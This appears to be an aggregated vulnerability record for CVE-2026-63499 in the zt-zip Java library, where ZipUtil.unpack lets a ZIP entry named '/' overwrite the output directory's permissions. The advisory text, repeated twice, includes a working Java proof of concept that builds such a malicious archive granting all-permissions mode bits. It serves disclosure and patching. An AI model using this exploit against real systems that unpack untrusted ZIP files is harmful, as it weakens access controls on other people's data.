{"id":"CVE-2026-63499","aliases":["EUVD-2026-116113","GHSA-v2g6-7r9j-v6px"],"status":"published","title":"zt-zip: ZipUtil.unpack can change file permissions of output directory","description":"zt-zip is a Java library that provides convenience methods for ZIP archive manipulation. Prior to 1.18.1, ZipUtil.unpack(...) can apply stored ZIP-entry permissions to the extraction output directory when an entry name such as / or ./ resolves to that directory itself. Because the path traversal checks permit self-referencing entries that do not escape the destination, the unpacker's permission-handling path can replace restrictive output-directory permissions with attacker-supplied permissions. This affects applications that unpack untrusted ZIP files, and POSIX systems demonstrate the issue directly, while ZTFilePermissionsUtil.fetchDefaultStrategy provides fallback permission handling on other supported systems. This issue is fixed in version 1.18.1.","severity":{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.0028,"percentile":0.20801,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-23"],"published":"2026-11-03T18:04:46.843Z","modified":"2026-11-09T21:15:04Z","fixes":[{"ecosystem":"Maven","package":"org.zeroturnaround:zt-zip","fixed_in":["1.18.1"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Maven","package":"org.zeroturnaround:zt-zip","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.18.0"},{"fixed":"1.18.1"}]}]},{"source":"osv","ecosystem":"Maven","package":"org.zeroturnaround:zt-zip","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.18.1"}]}],"versions":["1.10","1.11","1.12","1.13","1.14","1.15","1.16","1.17","1.18.0","1.4","1.5","1.6","1.7","1.8","1.9"]}],"products":[{"vendor":"zeroturnaround","product":"zt-zip"}],"references":[{"url":"https://github.com/zeroturnaround/zt-zip/security/advisories/GHSA-v2g6-7r9j-v6px","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/zeroturnaround/zt-zip/pull/191","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/zeroturnaround/zt-zip/commit/1b625467b4c3cd3a9bee9efc35bdef2f8d9c8dad","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/zeroturnaround/zt-zip/releases/tag/v1.18.1","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63499","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-v2g6-7r9j-v6px"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/63xxx/CVE-2026-63499.json","tags":["advisory"]},{"url":"https://github.com/zeroturnaround/zt-zip","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-63499","title":"zt-zip: ZipUtil.unpack can change file permissions of output directory","description":"zt-zip is a Java library that provides convenience methods for ZIP archive manipulation. Prior to 1.18.1, ZipUtil.unpack(...) can apply stored ZIP-entry permissions to the extraction output directory when an entry name such as / or ./ resolves to that directory itself. Because the path traversal checks permit self-referencing entries that do not escape the destination, the unpacker's permission-handling path can replace restrictive output-directory permissions with attacker-supplied permissions. This affects applications that unpack untrusted ZIP files, and POSIX systems demonstrate the issue directly, while ZTFilePermissionsUtil.fetchDefaultStrategy provides fallback permission handling on other supported systems. This issue is fixed in version 1.18.1.","status":"published","published":"2026-11-03T18:04:46.843Z","modified":"2026-11-03T19:38:28.292Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N","level":"medium","assessor":"cna"}],"cwes":["CWE-23"],"updated_at":"2026-11-03T21:03:49.178499Z"}],"euvd":[{"id":"EUVD-2026-116113","description":"zt-zip: ZipUtil.unpack can change file permissions of output directory","status":"published","published":"2026-11-09T21:03:31Z","modified":"2026-11-09T21:03:31Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N","level":"medium"}],"updated_at":"2026-11-09T22:18:21.971974Z"}],"ghsa":[{"id":"GHSA-v2g6-7r9j-v6px","title":"zt-zip: ZipUtil.unpack can change file permissions of output directory","description":"### Summary\nWhen using one of the `ZipUtil.unpack` overloads, the file permissions of the output directory can be changed. For example, when the output directory was only accessible to the 'owner' it could be instead made accessible to every OS user.\n\n### Details\nWhen the name of a ZIP entry resolves to the output directory itself (e.g. the name `/`), the path traversal checks permit it and then perform actions on that directory, such as applying the file permissions of the ZIP entry to it.\n\n### PoC\nThis proof of concept requires an OS with support for POSIX file permissions. This issue itself is however not limited to those OS' with POSIX file permissions, see zt-zip's `ZTFilePermissionsUtil.fetchDefaultStrategy` which uses a fallback in that case.\n\n```java\n// Uses Apache Commons Compress to create the malicious ZIP file\n// The issue itself is however in how zt-zip processes that ZIP file\nimport org.apache.commons.compress.archivers.zip.AsiExtraField;\nimport org.apache.commons.compress.archivers.zip.ZipArchiveEntry;\nimport org.apache.commons.compress.archivers.zip.ZipArchiveOutputStream;\nimport org.apache.commons.compress.archivers.zip.ZipExtraField;\n\nimport org.zeroturnaround.zip.ZipUtil;\n\nimport java.nio.file.Files;\nimport java.nio.file.Path;\nimport java.util.Set;\n\npublic class ZtZipTest {\n    public static void main(String[] args) throws Exception {\n        Path zipPath = Path.of(\"permissions-change.zip\");\n\n        Path outputDir = Path.of(\"permissions-change\");\n        Files.deleteIfExists(outputDir);\n        Files.createDirectory(outputDir);\n        Files.setPosixFilePermissions(outputDir, Set.of());\n\n        // outputs \"[]\"\n        System.out.println(\"Permissions before: \" + Files.getPosixFilePermissions(outputDir));\n\n        createZip(zipPath);\n\n        ZipUtil.unpack(zipPath.toFile(), outputDir.toFile());\n\n        // outputs \"[..., OTHERS_EXECUTE, OTHERS_WRITE, OTHERS_READ, ...]\"\n        System.out.println(\"Permissions after: \" + Files.getPosixFilePermissions(outputDir));\n    }\n\n    public static void createZip(Path path) throws Exception {\n        try (ZipArchiveOutputStream zipStream = new ZipArchiveOutputStream(path)) {\n            var entry = new ZipArchiveEntry(\"/\");\n            // Set 'allow all' permissions\n            entry.setUnixMode(0b1_1111_1111);\n\n            AsiExtraField extraField = new AsiExtraField();\n            // Set 'allow all' permissions\n            extraField.setMode(0b1_1111_1111);\n            entry.setExtraFields(new ZipExtraField[] { extraField });\n            zipStream.putArchiveEntry(entry);\n            zipStream.closeArchiveEntry();\n        }\n    }\n}\n\n```\n\n### Impact\nAffected are users who use `ZipUtil.unpack` to unpack an untrusted ZIP file.","status":"published","published":"2026-11-09T21:03:31Z","modified":"2026-11-09T21:03:32Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-23"],"updated_at":"2026-11-09T21:19:53.571625Z"}],"nvd":[{"id":"CVE-2026-63499","description":"zt-zip is a Java library that provides convenience methods for ZIP archive manipulation. Prior to 1.18.1, ZipUtil.unpack(...) can apply stored ZIP-entry permissions to the extraction output directory when an entry name such as / or ./ resolves to that directory itself. Because the path traversal checks permit self-referencing entries that do not escape the destination, the unpacker's permission-handling path can replace restrictive output-directory permissions with attacker-supplied permissions. This affects applications that unpack untrusted ZIP files, and POSIX systems demonstrate the issue directly, while ZTFilePermissionsUtil.fetchDefaultStrategy provides fallback permission handling on other supported systems. This issue is fixed in version 1.18.1.","status":"published","published":"2026-11-03T18:18:04.083Z","modified":"2026-11-03T20:18:16.777Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium","assessor":"secondary"}],"cwes":["CWE-23"],"updated_at":"2026-11-03T22:58:51.822037Z"}],"osv":[{"id":"CVE-2026-63499","title":"zt-zip: ZipUtil.unpack can change file permissions of output directory","description":"zt-zip is a Java library that provides convenience methods for ZIP archive manipulation. Prior to 1.18.1, ZipUtil.unpack(...) can apply stored ZIP-entry permissions to the extraction output directory when an entry name such as / or ./ resolves to that directory itself. Because the path traversal checks permit self-referencing entries that do not escape the destination, the unpacker's permission-handling path can replace restrictive output-directory permissions with attacker-supplied permissions. This affects applications that unpack untrusted ZIP files, and POSIX systems demonstrate the issue directly, while ZTFilePermissionsUtil.fetchDefaultStrategy provides fallback permission handling on other supported systems. This issue is fixed in version 1.18.1.","status":"published","published":"2026-11-03T18:04:46.843Z","modified":"2026-11-05T07:59:53.638493956Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-23"],"updated_at":"2026-11-05T09:08:14.330889Z"},{"id":"GHSA-v2g6-7r9j-v6px","title":"zt-zip: ZipUtil.unpack can change file permissions of output directory","description":"### Summary\nWhen using one of the `ZipUtil.unpack` overloads, the file permissions of the output directory can be changed. For example, when the output directory was only accessible to the 'owner' it could be instead made accessible to every OS user.\n\n### Details\nWhen the name of a ZIP entry resolves to the output directory itself (e.g. the name `/`), the path traversal checks permit it and then perform actions on that directory, such as applying the file permissions of the ZIP entry to it.\n\n### PoC\nThis proof of concept requires an OS with support for POSIX file permissions. This issue itself is however not limited to those OS' with POSIX file permissions, see zt-zip's `ZTFilePermissionsUtil.fetchDefaultStrategy` which uses a fallback in that case.\n\n```java\n// Uses Apache Commons Compress to create the malicious ZIP file\n// The issue itself is however in how zt-zip processes that ZIP file\nimport org.apache.commons.compress.archivers.zip.AsiExtraField;\nimport org.apache.commons.compress.archivers.zip.ZipArchiveEntry;\nimport org.apache.commons.compress.archivers.zip.ZipArchiveOutputStream;\nimport org.apache.commons.compress.archivers.zip.ZipExtraField;\n\nimport org.zeroturnaround.zip.ZipUtil;\n\nimport java.nio.file.Files;\nimport java.nio.file.Path;\nimport java.util.Set;\n\npublic class ZtZipTest {\n    public static void main(String[] args) throws Exception {\n        Path zipPath = Path.of(\"permissions-change.zip\");\n\n        Path outputDir = Path.of(\"permissions-change\");\n        Files.deleteIfExists(outputDir);\n        Files.createDirectory(outputDir);\n        Files.setPosixFilePermissions(outputDir, Set.of());\n\n        // outputs \"[]\"\n        System.out.println(\"Permissions before: \" + Files.getPosixFilePermissions(outputDir));\n\n        createZip(zipPath);\n\n        ZipUtil.unpack(zipPath.toFile(), outputDir.toFile());\n\n        // outputs \"[..., OTHERS_EXECUTE, OTHERS_WRITE, OTHERS_READ, ...]\"\n        System.out.println(\"Permissions after: \" + Files.getPosixFilePermissions(outputDir));\n    }\n\n    public static void createZip(Path path) throws Exception {\n        try (ZipArchiveOutputStream zipStream = new ZipArchiveOutputStream(path)) {\n            var entry = new ZipArchiveEntry(\"/\");\n            // Set 'allow all' permissions\n            entry.setUnixMode(0b1_1111_1111);\n\n            AsiExtraField extraField = new AsiExtraField();\n            // Set 'allow all' permissions\n            extraField.setMode(0b1_1111_1111);\n            entry.setExtraFields(new ZipExtraField[] { extraField });\n            zipStream.putArchiveEntry(entry);\n            zipStream.closeArchiveEntry();\n        }\n    }\n}\n\n```\n\n### Impact\nAffected are users who use `ZipUtil.unpack` to unpack an untrusted ZIP file.","status":"published","published":"2026-11-09T21:03:31Z","modified":"2026-11-09T21:15:04.243976472Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-23"],"updated_at":"2026-11-09T21:40:33.762141Z"}]}}